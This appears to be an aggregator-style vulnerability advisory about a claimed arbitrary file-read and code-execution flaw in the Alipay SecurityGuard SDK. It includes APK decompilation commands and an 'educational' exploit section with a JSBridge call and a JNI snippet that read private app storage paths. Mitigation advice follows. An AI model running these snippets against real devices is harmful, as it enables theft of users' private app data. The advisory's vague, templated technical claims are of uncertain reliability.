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The vulnerability stems from the integration of an outdated Chromium kernel component inside the Alipay SecurityGuard SDK. This underlying engine is utilized by mini-programs and embedded WebView instances for executing web assets and handling dynamic bridge communication. When local security sandbox protections are bypassed or disabled within the mobile application environment, improper handling of internal file scheme handlers and local file references occurs. Attackers can craft malicious input or invoke exposed JSBridge APIs to read arbitrary files from the target device’s filesystem. Additionally, unauthenticated local native commands processed via JNI entry points allow arbitrary method invocation across hot-patching frameworks such as PatchProxy. An attacker can chain these components to overwrite authentication runtime code, exfiltrate sensitive local device state, and alter execution logic dynamically without requiring end-user interaction or special system permissions.
DailyCVE Form:
Platform: Alipay SecurityGuard SDK
Version: v10.8.30.8000
Vulnerability : File Read RCE
Severity: Critical
date: October 2026
Prediction: Patch Already Released
What Undercode Say: Analytics
An inspection of the repository reveals reverse-engineering artifacts analyzing the Alipay SecurityGuard framework. The execution path relies on exposed native JNI entry points and unsecured JSBridge handlers.
Decompile target APK and verify signatures apktool d alipay_v10.8.30.8000.apk -o ./decompiled_app grep -r "SecurityGuardManager" ./decompiled_app/smali/ Extract JNI library dependencies unzip -q alipay_v10.8.30.8000.apk -d ./extracted readelf -s ./extracted/lib/arm64-v8a/libsgmain.so | grep "JNI_OnLoad"
Exploit: (Educational Purposes!)
The following code demonstrates inspecting JSBridge handlers and invoking low-level JNI methods directly to access protected internal resources.
// Invoking unprotected JSBridge call
if (window.AlipayJSBridge) {
AlipayJSBridge.call('fetchSecurityToken', {
param: 'file:///data/data/com.eg.android.AlipayGphone/shared_prefs/'
}, function(result) {
console.log("Response:", JSON.stringify(result));
});
}
// Native JNI execution bridge access
public class ExploitBridge {
public native String doCommandNative(int cmd, Object[] args);
public void triggerBypass() {
System.loadLibrary("sgmain");
Object[] params = new Object[]{"/data/data/com.eg.android.AlipayGphone/files"};
String sensitiveData = doCommandNative(80, params);
System.out.println("Exfiltrated: " + sensitiveData);
}
}
Protection:
- Update the underlying Chromium / UC kernel components in the app SDK immediately to clear renderer-level vulnerabilities.
- Enforce strict parameter validation and source checking on all exposed JSBridge and JNI interfaces.
- Enable OS-level sandbox flags and restrict `file://` URL schemes within embedded WebViews.
Impact:
Successful exploitation allows unauthorized arbitrary file disclosure from local app storage and unauthenticated remote execution of replaced runtime methods.
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Sources:
Reported By: github.com
Extra Source Hub:
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